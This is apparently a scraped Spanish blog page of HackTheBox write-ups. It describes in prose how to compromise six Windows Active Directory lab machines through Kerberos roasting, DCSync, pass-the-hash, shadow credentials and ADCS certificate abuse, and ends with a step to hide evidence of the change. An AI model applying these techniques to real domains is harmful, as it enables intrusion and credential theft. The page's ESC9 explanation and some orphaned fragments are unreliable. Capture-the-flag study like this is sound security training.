Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
⚠️ This box is still active on HackTheBox
. Once retired, this article will be published for public access as per .
Forest
en un controlador de dominio de Windows (DC) de dificultad fácil, para un dominio en el que se ha instalado Exchange Server
. Se descubre que el DC permite enlaces LDAP
anónimos, que se utilizan para enumerar objetos de dominio. La contraseña de una cuenta de servicio con la autenticación previa Kerberos
deshabilitada se puede descifrar para obtener un punto de apoyo.
Se descubre que la cuenta de servicio es miembro del grupo Operadores de cuenta, que se puede utilizar para agregar usuarios a grupos privilegiados de Exchange
. La pertenencia al grupo de Exchange
se aprovecha para obtener privilegios de DCSync
en el dominio y volcar los hashes NTLM
.
Realizaremos un reconocimiento sobre la máquina Forest para encontrar puertos abiertos.
Lanzaremos unos scripts básicos para ver si encontramos alguna vulnerabilidad en los puertos expuestos.
Comprobaremos el nombre del dominio a través del siguiente comando.
Procederemos a añadir la línea del dominio en el archivo /etc/hosts con su respectiva dirección IP.
Utilizamos rpcclient con el comando enumdomusers para enumerar los usuarios del dominio en el servidor SMB con IP 10.10.10.161. Este comando permite la conexión anónima y proporciona una lista de usuarios sin necesidad de credenciales.
Redirigiremos el resultado a un archivo llamado "users" y comprobaremos el contenido del archivo.
Ejecutamos la herramienta de impacket-GetNPUsers con las opciones -no-pass
y -usersfile users
para obtener los usuarios que pueden realizar autenticación con Kerberos en el dominio htb.local a través del fichero de los usuarios enumerados.
Comprobamos que obtenemos el hash krb5 del usuario "svc-alfresco".
Nos guardaremos el hash en un archivo llamado "hash.txt"
Con el uso de la herramienta de hashcat realizaremosataque de fuerza bruta para obtener la contraseña a través de un diccionario, como rockyou. Finalmente obtenemos que la contraseña para el usuario "svc-alfresco" es "s3rvice".
Procederemos a comprobar que con dichas credenciales podemos acceder al WinRIM que hemos encontrado expuesto en la máquina. Comprobamos que efectivamente nos aparece como Pwn3d.
Procederemos a conectarnos mediante evil-winrm y con las credenciales encontradas, comprobamos la flag de user.txt.
Procederemos a pasarnos al equipo que queremos comprometer el binario de SharpHound.exe
y a recopilar toda la información del sistema.
El .zip que nos genere, nos lo descargaremos a nuestra Kali.
Es hora de elevar nuestros privilegios y obtener acceso de administrador. Volviendo a BloodHound, podemos ver que nuestro usuario, svc-alfresco, es miembro del grupo “Account Operators” que tiene permiso GenericAll en el grupo “Exchange Windows Permissions”.
Con el permiso GenericAll, tenemos todos los derechos sobre el objeto de destino (agregar usuarios a un grupo, restablecer la contraseña del usuario, etc.) y podemos abusar de este permiso débil.
Además, el grupo “Exchange Windows Permissions” tiene permiso WriteDACL en el dominio (htb.local). Esto significa que si creamos un usuario y lo agregamos al grupo “Exchange Windows Permissions”, podríamos darle derechos de acceso DCSync y volcar los hashes de contraseña del controlador de dominio.
Abusando de que el usuario svc-alfresco se encuentra en el grupo donde podemos crear usuarios, procederemos a añadir un nuevo usuario y hacerlo miembro del grupo "Exchange Windows Permissions"
Comprobaremos que el usuario se ha creado correctamente y las credenciales funcionan sin problemas.
Primero de todo, procederemos a descargarnos el PowerView en nuestro equipo Kali, lo pasaremos al equipo que queremos comprometer e importaremos el módulo.
Estos comandos le otorga al usuario jr el derecho DCSync en el controlador de dominio htb.local, lo que le permite replicar la base de datos del dominio y obtener hashes de contraseñas de otros usuarios.
Utilizaremos la herramienta de secretsdump para bolcar toda la información de las contraseás (hashes) del DC. Comprobamos que hemos obtenido el hash del usuario "Administrator", lo cual podremos hacer un Pass The Hash.
Comprobaremos con netexec de conectarnos al WinRM mediante el usuario "Administrator" y el hash que hemos dumpeado con Secretsdump.py.
Comprobamos que nos aparece como Pwn3d lo que indica que podemos conectarnos haciendo PassTheHash con el usuario Administrator.
Procederemos a conectarnos haciendo PassTheHash con el usuario "Administrator" y su respectivo hash y comprobamos que podemos acceder y revisar la flag de root.txt.
Timelapse
es una máquina Windows sencilla que implica acceder a un recurso compartido SMB
de acceso público que contiene un archivo zip. Este archivo zip requiere una contraseña que se puede descifrar con John
. Al extraer el archivo zip se obtiene un archivo PFX cifrado con contraseña, que también se puede descifrar con John
, convirtiendo el archivo PFX a un formato hash legible por John
.
Del archivo PFX se puede extraer un certificado SSL y una clave privada, que se utiliza para iniciar sesión en el sistema a través de WinRM
. Después de la autenticación, descubrimos un archivo de historial de PowerShell que contiene las credenciales de inicio de sesión para el usuario svc_deploy
. La enumeración de usuarios muestra que svc_deploy
es parte de un grupo llamado LAPS_Readers
. El grupo LAPS_Readers
tiene la capacidad de administrar contraseñas en LAPS
y cualquier usuario de este grupo puede leer las contraseñas locales de las máquinas del dominio. Al abusar de esta confianza, recuperamos la contraseña del administrador y obtenemos una sesión de WinRM
.
Escanearemos los puertos abiertos del equipo para comprobar que servicios se encuentran expuestos e intentar aprovecharnos de distintas vulnerabilidades.
Una vez realizado el escaneo de los puertos abiertos, procederemos con Nmap a ejecutar distintos scripts para encontrar vulnerabilidades e información.
Como hemos encontrado en el escaneo de Nmap el nombre del dominio del AD, también lo podemos enumerar a través del siguiente comando, debido que el servicio de LDAP está abierto.
Procederemos a añadirnos en nuestro archivo /etc/hosts el dominio correspondiente
Procederemos a enumerar usuarios del AD a través de la herramienta de Kerbrute ya que hemos comprobado que el puerto de Kerberos (88) se encontraba abierto. En este punto nos encontramos que hemos podido enumerar que existe el usuario "Admninistrator" y "Guest".
Como hemos comprobado, el servicio de SMB se encuntra expuesto, procederemos a comprobar cuales son los recursos que se encuentran compartidos en Samba.
Procederemos a intentar comprobar con netexec si podemos acceder con el usuario "guest" sin contraseña y comprobar que tipo de permisos tiene en los recursos compartidos. Nos encontramos que tiene permisos de lectura a los recursos "Shares" y "IPC$"
Una vez comprobado el acceso, procederemos a conectarnos al recurso compartido "Shares" con el usuario "guest" y procedermos a listar el directorio en busca de archivos, nos lo descargaremos en nuestra Kali para analizarlos.
A través de la herramienta de fcrackzip procederemos a intentar crackear la contraseña de un .zip que nos hemos descargado del reurso compartido de SMB. Utilizando esta herramienta y pasándole un diccionario de contraseñas finalmente comprobamos que ha crackeado la contraseña.
Procederemos a descomprimir el .zip con la contraseña que hemos creackado, nos dejará un archivo .pfx
A través de la herramienta crackpkcs12 procederemos a intentar crackear la contraseña del archivo .PFX
Procederemos a convertir el .PFX en un .PEM y extraer la clave privada del certificado.
Una vez obtenido el certificado y la clave privada, procederemos a conectarnos al WInRM con la herramienta evil-winrm indicando el certificado y clave privada que hemos desencriptado.
Comprobaremos que ganamos acceso a la máquina de TimeLapse, procedremos a comprobar la flag de "user.txt"
Procederemos a comprobar el historial de Powershell del usuario "legacyy" que es con el que hemos accedido. Comprobaremos que aparece una serie de "Script" en el cual aparece la contraseña en texto plano del usuario "svc_deploy".
Principalmente la contraseña pertenece al usuario "svc_deploy" pero intentaremos comprobar si la contraseña sirve para otros usuarios del AD. Para ello exportaremos todos los usuarios del AD en un archivo de texto y nos lo descargaremos en nuestro equipo local.
A través de la herramienta "netexec" procederemos a intentar conectarnos al WinRM con la lista de usuarios y la contraseña encontrada. Finalmente comprobamos que las credenciales solamente son válidas para el usuario "svc_deploy".
Procederemos nuevamente a conectarnos al WinRM con el usuario y las credenciales encontradas, comprobamos que ganamos acceso como usuario "svc_deploy".
Procederemos a enumerar las contraseñas de los usuarios Administradores de todos los equipos del AD para aprovecharnos de LAPS para extraer las credenciales. Comprobamos que hemos encontrado una contraseña.
También podemos hacer uso de la herramienta ldapsearch con el siguiente comando para realizar lo mismo que el paso anterior.
Procederemos a conectarnos al equipo con el usuario Administrator y las credenciales encontradas. Comprobamos que hemos ganado acceso como usuario Administrator.
Para localizar la flag del "root.txt" ejecutaremos el siguiente comando para buscar la flag en todos los "Desktop" de todos los usuarios del equipo, ya que la flag se encuentra en otro usuario.
Sauna
es una máquina Windows de dificultad fácil que cuenta con enumeración y explotación de Active Directory. Los posibles nombres de usuario se pueden derivar de los nombres completos de los empleados que figuran en el sitio web. Con estos nombres de usuario, se puede realizar un ataque ASREPRoasting
, que da como resultado un hash para una cuenta que no requiere autenticación previa de Kerberos. Este hash se puede someter a un ataque de fuerza bruta fuera de línea, con el fin de recuperar la contraseña de texto simple para un usuario que puede usar WinRM
en el equipo
La ejecución de WinPEAS
revela que otro usuario del sistema se ha configurado para iniciar sesión automáticamente e identifica su contraseña. Este segundo usuario también tiene permisos de administración remota de Windows. BloodHound
revela que este usuario tiene el derecho extendido DS-Replication-Get-Changes-All, que le permite volcar hashes de contraseñas del controlador de dominio en un ataque DCSync
. Al ejecutar este ataque se devuelve el hash del administrador del dominio principal, que se puede usar con psexec.py
de Impacket
para obtener un shell en el equipo como NT_AUTHORITY\SYSTEM
.
Comenzaremos a realizar un escaneo de todos los puertos abiertos de la máquina víctima.
Procederemos a extraer los puertos con nuestra función extractPorts para tenerlos copiados en la clipboard
Procederemos a lanzar scripts de Nmap para intentar descubrir algunas vulnerabildades sobre los puertos abiertos que hemos encontrado. Hemos encontrado el nombre del AD (EGOTISTICAL-BANK.LOCAL).
Procederemos a añadir en nuestro archivo /etc/hosts el nombre del dominio con la IP de la máquina.
Probaremos de acceder al sitio web para ver que nos encontramos, a primera vista no encontramos nada interesante.
Procederemos a intentar a realizar la enumeración de usuarios del AD a través de diferentes métodos.
Como hemos visto que Kerberos (Port 88) estaba expuesto, a través de la herramienta de Kerbrute procederemos a enumerarlos a través de un diccionario de secLists. Después de un buen rato, solamente hemos podido encontrar 3 usuarios. Tomaremos nota de dichos usuarios.
Investigando la página web, nos encontramos que existe una página donde indican los nombres de los empleados de la empresa, esto nos puede servir útil para intentar descubrir posibles usernames a través de sus nombres, apellidos, etc.
Procederemos a crear un archivo llamado "users.txt" en el cual pondremos los nombres y apellidos de los usuarios encontrados en el sitio web.
Con el Impacket de GetNPUsers.py procederemos a realizar un ataque para enumerar usuarios con el atributo de autenticación previa don't require Kerberos (DONT_REQ_PREAUTH). Lo que realiza este comando es recorrer línea por línea el archivo generado en el paso anterior para probar con todos los usuarios.
Procederemos a comprobar el resultado del ataque, el archivo "hash.txt". Comprobaremos que hemos obtenido un tiquet GTG para el usuario "fsmith" con su respectivo hash de Krb5.
Procederemos a guardarnos el hash del usuario "fsmith" en un archivo nombrado "fsmith.hash"
Comprobaremos que se nos ha guardado correctamente el contenido del hash en el archivo creado.
A través de la herramienta de hashcat procederemos a intentar desencriptar el hash encontrado a través de un diccionario, para que vaya probando todas las contraseñas del diccionario para ver si alguna al generar el hash coincide con el hash del usuario.
Finalmente nos encontramos que la contraseña ha estado crackeada.
Una vez obtenida la contraseña del usuario "fsmith", como hemos visto que el servicio de WinRM estaba expuesto, procederemos con evil-winrm de conectarnos con las credenciales conectadas. Comprobamos que hemos podido acceder sin problemas y hemos encontrado la flag de "user.txt".
Tendremos que tener abierto el evil-winrm des de donde disponemos el ejecutable de winPEAS.exe para asi ejecutar el "upload" a la máquina. Una vez subido en la máquina, procederemos a ejecutarlo.
Comprobaremos que hemos encontrado un AutoLogon con las credenciales de un usuario.
El DCSync Attack es una técnica de ataque utilizada en el ámbito de la ciberseguridad para obtener contraseñas y otros secretos almacenados en el controlador de dominio de un entorno de Active Directory. Esta técnica se basa en la funcionalidad de replicación de Active Directory y permite a un atacante que tenga ciertos privilegios obtener hashes de contraseñas y otros datos de cuentas, incluyendo cuentas de administrador.
Procederemos a través del Impacket-secretsdump de obtener los hashes NTLM y Kerberos del DC con el usuario que hemos encontrado y su respectiva contraseña.
Comprobamos que nos ha dumpeado el hash de la cuenta de "Administrator".
Una vez obtenido el hash del usuario "Administrator", procederemos a conectarnos al WinRM con evil-winrm indicando que queremos acceder con el usuario "Administrator" y el hash encontrado.
Comprobaremos que ganamos acceso a la máquina como usuario Administrator y la flag del "root.txt".
Cicada
es una máquina Windows de nivel fácil-difícil que se centra en la enumeración y explotación de Active Directory para principiantes. En esta máquina, los jugadores enumerarán el dominio, identificarán usuarios, navegarán por recursos compartidos, descubrirán contraseñas de texto simple almacenadas en archivos, ejecutarán un spray de contraseñas y usarán el SeBackupPrivilege
para lograr un compromiso total del sistema.
Comenzaremos a realizar un escaneo de todos los puertos abiertos de la máquina víctima. Entre los puertos que hemos encontrado interesantes se encuentran:
88 --> Kerberos
389 --> ldap
445 --> SMB
5985 --> Wsman (WinRM)
Procederemos a editar nuestro archivo /etc/hosts para hacer referencia al dominio a través de la dirección IP de la máquina.
Procederemos a enumrar usuarios ya que hemos comprobado que el puerto de Kerberos está abierto a través de la herramienta Kerbrute, pasándole un diccionario para enumerar usuarios. Entre ellos nos encuentra el usuario "guest" y el usuario "Administrator".
Probaremos con netexec a acceder al SMB con el usuario enumerado "guest" sin indicarle contraseña, comprobamos que podemos acceder sin contraseña.
Probaremos de listar los recursos que se encuentran en el SMB.
Accederemos al recurso compartido "HR" que hemos encontrado con el usuario guest. Comprobaremos si el recurso dispone de algún archivo. Procederemos a descargar el archivo que hemos encontrado.
Comprobaremos el contenido del archivo y descubriremos que RRHH envió una noticia a los usuarios indicando la contraseña por defecto que dispondrían los usuarios.
Probaremos de realizar un ataque de "RID Brute" para enumera usuarios a través del RID en SMB. Entre ellos encontramos usuarios con un RID + de 1000, lo que indica que se trata de usuarios creados manualmente.
En un archivo .txt nos guardaremos los usuarios que nos sirvan, que tengan un RID mayor a 1000 y los 2 que hemos enumerado con Kerbrute.
Procederemos a utilizar netexec para intentar comprobar a través del archivo users.txt que hemos generado indicándole la contraseña que hemos encontrado, para comprobar si dicha contraseña es válida para un usuario. Nos encontramos que la contraseña es válida para el usuario michael.wrightson
Con ldapdomaindump dumpearemos toda la información del LDAP a través del usuario y contraseña que hemos encontrado. Nos generará los resultados en distintos formatos.
Si accedemos al archivo de "domain_users.html" comprobaremos que hemos encontrado los usuarios que hay en LDAP y en el apartado de "Description" del usuario "daniel.orelious" se encuentra un texto indicando su respectiva contraseña.
Con crackmapexec probaremos de comprobar si el usuario que hemos encontrado "david.orelious" dispone de acceso algún recurso compartido de SMB. En este caso, comprobamos que disponemos de acceso al recurso "DEV" que parece ser algún recurso de desarrollador o algo parecido.
Probaremos de acceder con smbclient con las credenciales encontradas, comprobaremos que en el recurso hay un script .ps1 el cual procederemos a descargar en nuestro equipo local.
Procederemos a comprobar el contenido del script .ps1 encontrado, y nos damos cuenta que para el usuario "emily.oscars" se encuentra su contraseña en texto plano.
Procederemos a comprobar con estas nuevas credenciales el SMB y nos damos cuenta que tenemos permisos para acceder a "ADMIN$" y "C$", lo cual parece indicar que tenemos privilegios de Administración.
En este punto, probaremos de intentar acceder con este nuevo usuario al WinRM que hemos encontrado expuesto (Puerto 5985) a través de la herramienta de evil-winrm. Comprobaremos que hemos podido acceder correctamente y comprobaremos la flag del usuario.
Por lo tanto, podemos hacernos una copia del archivo SAM y SYSTEM y así luego poder extaer los hashes de los usuarios del sistema.
Procederemos a descargarnos los 2 ficheros a nuestro equipo local y comprobar que los disponemos.
Con la herramienta de pypykatz procederemos a extraer los hashes NTLM de la SAM.
Procederemos de conectarnos al WinRM que encontramos expuesto con evil-winrm intentando acceder con el usuario "Administrator" y con su respectivo hash NTLM. Comprobaremos que accedemos sin problemas y encontraremos la flag del root.
Cascade
es una máquina Windows de dificultad media configurada como un controlador de dominio. Los enlaces anónimos de LDAP están habilitados y la enumeración genera la contraseña del usuario r.thompson
, que brinda acceso a una copia de seguridad del registro TightVNC
. La copia de seguridad se descifra para obtener la contraseña de s.smith
. Este usuario tiene acceso a un ejecutable .NET, que después de la descompilación y el análisis del código fuente revela la contraseña de la cuenta ArkSvc
.
Esta cuenta pertenece al grupo AD Recycle Bin
y puede ver los objetos de Active Directory eliminados. Se descubre que una de las cuentas de usuario eliminadas contiene una contraseña codificada, que se puede reutilizar para iniciar sesión como administrador principal del dominio.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Cascade.
Lanzaremos una serie de scripts básicos para intentar buscar vulnerabilidades en los puertos que hemos encotrado expuestos.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Verificaremos también a qué tipo de máquina nos enfrentamos a través de netexec.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Probaremos a través de la herramienta NSrpcenum de ver si nos podemos conectar al RPC mediante una null sesión y enumerar usuarios, comprobamos que si podemos efectuar el ataque y sacamos todo el listado de los usuarios que se encuentran en el dominio.
Otra de las herramientas que podemos probar es la de enum4linux que nos mostrará mucha más información a parte de la de los usuarios del equipo.
Procederemos a realizar una enumeración de qué usuarios de esos son válidos en el dominio, es decir, que su cuenta sea de AD.
Debido que disponemos de una gran lista de usuarios válidos, procederemos a intentar efectuar un AS-REP Roasting Attack para intentar obtener un Ticket Granting Ticket (TGT), pero no obtenemos resultado.
Procederemos a enumerar el protocolo LDAP y estaremos utilizando la herramienta de windapsearch.py la cual estaremos buscando por contenido que contenga "pwd" o "password".
Nos damos cuenta que aparece un campo llamado "cascadeLegacyPwd" con lo que parece ser una contraseña encodeada en Base64.
Podemos realizar la misma enumeración a través de la herramienta de ldapsearch.
Probaremos a descodificar el texto encontrado en Base64 y parece que obtenemos lo que parece ser una contraseña.
Probaremos de enumerar a todos los usuarios que disponemos para ver si uno de ellos se puede llegar a autenticar. Verificamos que el usuario "r.thompson" se puede autenticar con dichas credenciales.
Procederemos a intentar comprobar si con este usuario podemos acceder al WinRM, pero no nos lo acepta seguramente por falta de permisos, pero sus credenciales son correctas.
Debido que disponemos de unas credenciales válidas de un usuario, procederemos a intentar realizar un Kerberoasting Attack para solicitar un Ticket Granting Service (TGS), sin resultado esperado tampoco.
Procederemos a realizar la enumeración de SMB, para ver los recursos compartidos que tiene acceso el usuario "r.thompson".
Procedferemos a revisar por encima, cual es el contenido de la carpeta "Data" para ver si dispone de directorios, archivos, para así descartarlo de enumerarlo en caso que no disponga de nada.
Procederemos a conectarnos mediante smbclient al recurso compartido "DATA" y nos descargaremos todo el contenido del recurso compartido en nuestro equipo local.
El primer archivo que vemos, es una página web que indica que se creó un usuario llamado "TempAdmin" que su contraseña es la misma que la del usuario Administrador, pero este usuario se creó en un momento puntual y fue eliminado a finales de 2018.
Nos quedaremos con esta información por si pudieramos recuperar al usuario "TempAdmin" y lograr ver su contraseña más adelante.
Por otro lado, disponemos de un log en el cual se menciona al usuario "ArkSvc" y parece ser que se estan realizando tareas de eliminar/mover a usuarios del AD. Relativamente no encontramos algún tipo de información.
Revisando el archivo "VNC Install.reg" comporbamos que dispone de un valor llamado "Password" con una contraseña encodeada parace ser en hex.
Probaremos de descodear el contenido en hex de manera habitual, pero nos encontramos que el contenido no está en texto plano, esto hace pensar que alomejor pueda estar encriptado y por dicho motivo no lo vemos en texto plano.
Comprobamos finalmente lo que parece ser la contraseña en texto plano.
Procederemos a revisar si algún usuario de los que disponemos se puede autenticar con estas credenciales, comprobamos que el usuario "s.smith" puede autenticarse.
Guardaremos las nuevas credenciales obtenidas en nuestro archivo "credentials.txt"
Validaremos con netexec de que podemos conectarnos al WinRM, comprobamos que sí, debido que la herramienta nos reporta (pwn3d) y obtenemos la flag de user.txt.
Comprobaremos con el nuevo usario obtenido a qué recursos compartidos tiene acceso. Comprobamos que dispone de acceso al recurso "Audit$", por lo tanto con sqlmap listaremos el directorio para ver que no esté vacío.
Procederemos a conectarnos a través de smbclient y nos descargaremos todo el contenido del recurso.
Uno de los archivos que nos llama la atención, es el de "Audit.db" que es un archivo de BBDD. Reviasndo con el comando strings nos damos cuenta que es sobre un SQLite y se han ejecutado insutrcciones, estas mismas hacen referencia auna tabnla llamada "LDAP".
Revisando el contenido de la tabla "LDAP", obtenemos lo que parece ser el usuario "ArkSvc" y su respectiva contraseña encodeada en Base64.
Probaremos de descodearlo en Base64, pero obtenemos un resultado que no está en texto plano, lo que nos puede indicar que el contenido parece estar cifrado.
Procederemos a enumerar losnotros archivos, como el .exe .dll des de DNSpy. Nos fijamos que el binario del EXE hace uso de la librería Crypto que es una librería para la encriptación de texto, y vemos que aparece una clave en textoplano.
En el código hemos encontrado AES-CBC, un modo de cifrado que utiliza una clave secreta para cifrar datos en bloques donde cada bloque depende del anterior, y emplea un IV (Vector de Inicialización) para añadir aleatoriedad al primer bloque, lo que evita patrones repetidos y asegura que cada mensaje cifrado sea único y más seguro incluso si se usa la misma clave en múltiples cifrados.
Procederemos a realizar ingeniería inversa al cifrado CBC, para ello deberemos de tener los siguientes 3 datos
KEY
IV
Password
Ingresaremos a CyberChef y lo descodificaremos y ontendremos la contraseña en texto plano.
Procederemos de conectarnos conel usuario "Arksvc" con las nuevas credencials al WinRM.
Revisando los grupos a los que pertenece el usuario, nos fijamos que forma parte del grupo de "AD Recycle Bin", lo que nos permitirá encontrar objectos que han sido borrados.
Debido que formamos parte de este grupo, nuestro objetivo será de recuperar información sobre el usuario "TempAdmin" que según descubrimos en el archivo .html cuando enumeramos el SMB; indicaba que este usuario disponía de las mismas credenciales que utiliza el usuario Administrator, por lo tanto, en caso de tener la contraseña de este usuario podríamos llegar a probar si aún son válidas para el usuario Administrator.
Procederemos a buscar objetos que sean usuarios que hayan sido borrados. Comprobamos que nos aparece el usaurio borrado "TempAdmin", procederemos a listar ls propiedades.
Comprobamos que en un campo aparece "cascadeLegacyPwd" con lo que parece ser una contraseña encodeada nuevamente en Base64.
Procederemos a desencodear y nos aparece una contraseña en texto plano, validaremos con netexec de que las credenciales son válidas para el usuaro Administrator, nos conectarmos haciendo uso de evil-winrm y comprobaremos la flag de root.txt.
A través de la herramienta de procederemos a generar posibles nombres de usuario a través de combinaciones de sus nombers y apellidos, etc.
Una vez con acceso a la máquina, deberemos de encontrar algún vector para poder escalar privilegios. Para ello lo primero será comprobar que privilegios dispone el usuario con el que estamos. Nos damos cuenta que tenemos el privilegio de "", lo cual nos permite crear copias de seguridad en el equipo.
Como se trata de un VNC password ecnriptado, buscando en Internet logramos descubrir la siguiente página web - en la cual nos explicaba como desencriptar el hex de VNC.
Proceremos a realizar un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Certified.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Verificamos que hemos procedido a enumerar la lista de usuarios que se encuentran en el dominio de certified.htb.
Guardaremos los usuarios del dominio enumerados en el archivo users.txt.
Debido que disponemos de una lista potencial de usuarios, probaremos a realizar un AS-REP Roast Attack para intentar obtener un Ticket Granting Ticket (TGT) para luego crackearlo de manera offline.
Comprobamos que no obtenemos ningún TGT debido que ningun usuario dispone del atributo (DONT_REQ_PREAUTH) de Kerberos.
A través de la herramienta de sbmap procederemos a enumerar los recursos compartidos. En este caso, ningún recurso compartido parece tener alguna información interesante.
Ya que disponemos de credenciales de un usuario del dominio válidas, probaremos de realizar un Kerberoasting Attack para intentar obtener un Ticket Granting Service (TGS), comprobamos que obtenemos un TGS del usuario "management_svc".
Procederemos a intentar crackear el hash obtenido del TGS para obtener la contraseña del usuario en cuestión. En este caso, comprobamos que no hemos sido capaces de crackear el hash, lo cual indica que la contraseña no se encuentra en el diccionario utilizado "rockyou.txt".
Con ldapdomaindump dumpearemos toda la información del LDAP a través del usuario y contraseña que disponemos. Nos generará los resultados en distintos formatos.
Revisando el archivo "domain_users.html" verificamos que el usuario "management_svc" forma parte del grupo "Remote Management Users", con el cual podríamos conectarnos al DC a través de WinRM, PsExec, etc.
Este es el usuario que hemos obtenido el TGS (Ticket Granting Service) pero no hemos podido crackear su hash.
Realizaremos una enumeración con BloodHound a través de bloodhound-python.
Revisando BloodHound para buscar una vía potencial de escalar nuestros privilegios, nos damos cuenta que el usuario que tenemos (judith.mader@certified.htb) dispone de permisos "WriteOwner" sobre el grupo "management@certified.htb", con el cual podríamos hacernos propietario de este grupo y añadirnos debido que los miembros de este grupo disponen del privilegio de "GenericWrite" sobre el usuario (management_svc@certified.htb) con el cual podríamos llegar a realizar posteriormente otro ataque.
Esto puede ser intersante para realizar un Lateral Movement y realizar posteriormente un Shadow Credentials Attack.
A través de la herramienta de bloodyAD, procederemos a establecer al usuario "judith.mader" como propietaria del grupo "management@certified.htb".
Seguidamente procederemos a otorgarnos permisos de genericAll sobre el grupo "management@certified.htb" y posteriormente añadirnos como miembros de dicho grupo.
Ya que ahora el usuario que disponemos "judith.mader@certified.htb" forma parte del grupo "management@certified.htb" y los miembros de este disponen del privilegio de GenericWrite, podemos probar de realizar un Shadow Credentials Attack para obtener el hash NTM del usuario "management_svc@certified.htb".
Verificamos que al realizar el ataque, obtenemos un archivo .PFX y unas credenciales para el archivo en cuestión.
A continuación, deberemos de realizar un unPAC the hash para obtener el hash NTLM del usuario al cual le hemos realizado el Shadow Credentials Attack.
A través del siguiente comando, procederemos a obtener el TGT (Ticket Granting Ticket) utilizando el el certificado .PFX obtenido. Verificamos que nos genera un TGT en el archivo llamado .ccache.
Una vez con el TGT generado, procederemos a extraer el hash NTLM del usuario objetivo. Verificamos que hemos conseguido el hash NTLM del usuario "management_svc@certified.htb".
Procederemos a validar el hash NTLM obtenido del usuario "management_svc@certified.htb" para comprobar que es válido.
Una vez validado que podemos autenticarnos con el hash NTLm del usuario en cuestión y que hayamos comprobado que anteriormente con este usuario disponía de permisos para conectarse de manera remota, procederemos a acceder al WinRM a través de evil-winrm.
Verificaremos la flag de user.txt.
Procederemos de realizar una enumeración del AD a través de la herramienta adPEAS.ps1 que es un script de Powershell (parecido a winPEAS) pero en vez de buscar malas configuraciones de Windows, hace exactamente lo mismo pero en el entorno del AD.
Nos lo descargaremos en nuestra Kali, levantaremos un servidor web con Pyton y a través de IEX en el equipo Windows, lo importaremos en memoria.
Dentro del resultado del análisis nos encuentra información sobre Active Directory Certificate Services en el cual nos reporta de posiblemente sea vulnerable pero es manegada por el usuario "ca_operator@certified.htb".
Revisando nuevamente el BloodHound, comprobamos que el usuario "management_svc@certified.htb" dispone de privilegios de GenericAll sobre el usuario "ca_operator@certified.htb".
Teniendo estos permisos, podemos a llegar a cambiar las credenciales sobre el usuario "ca_operator@certified.htb".
El propio BloodHound nos indica como podemos llegar a explotar este privilegio. En este caso, debido que disponemos del acceso a la máquina Windows, podemos realizar el "Windows Abuse".
Procederemos a realizar las credenciales del usuario "CA_OPERATOR" desde la sesión de "management_svc@certified.htb" que disponemos en WinRM.
Procederemos a validar que se han modificado correctamente las credenciales del usuario en cuestión.
ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.
Algunas de las posibles vulnerabilidades que puede tener ADCS son:
Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.
Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.
NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.
Al ejecutar este comando, Certipy escanea el entorno de Active Directory en busca de configuraciones vulnerables dentro de los servicios de ADCS. Este análisis incluye verificar permisos delegados indebidos y configuraciones inseguras en la CA. Durante la ejecución, se identificó una vulnerabilidad clasificada como ESC9.
La vulnerabildiad es sobre el CA "certified-DC01-CA" y el Template "CertifiedAuthentication".
La vulnerabilidad ESC9 en ADCS se produce debido a la delegación indebida de permisos sobre la Entidad de Certificación (CA). Específicamente, el permiso ManageCA permite que usuarios con privilegios limitados puedan realizar acciones administrativas como:
Emitir certificados arbitrarios para cualquier cuenta, incluyendo cuentas privilegiadas como Administrator
.
Modificar configuraciones críticas de la CA, afectando su comportamiento o aumentando el riesgo de abuso.
En resumen, ESC9 permite a un atacante aprovechar permisos mal configurados para obtener acceso privilegiado dentro del dominio mediante el abuso de certificados.
En este caso, disponemos de que el usuario "management_svc@certified.htb" dispone de permisos de GenericWrite sobre el usuario "ca_operator@certified.htb".
Por lo tanto, podemos realizar un Shadow Credentials Attack desde Certipy-AD. Este paso lo podríamos llegar a omitir debido que en los pasos anteriores ya hemos conseguido las credenciales del usuario "CA_OPERATOR" debido que le hemos cambiado sus credenciales.
Una vez obtenido del hash del usuario "ca_operator@certified.htb" procederemos a validar el hash NTLM obtenido.
Utilizamos Certipy para actualizar el UPN de la cuenta CA_OPERATOR, asignándole el valor de Administrator. Esto nos permite asociar cualquier certificado emitido a CA_OPERATOR con la identidad de Administrator:
Solicitamos un certificado utilizando la plantilla vulnerable CertifiedAuthentication. Este certificado se emitió con el UPN de Administrator, habilitando su uso para autenticación con privilegios elevados:
Posteriormente, restauramos el UPN de CA_OPERATOR a su valor original para minimizar evidencias de la modificación realizada.
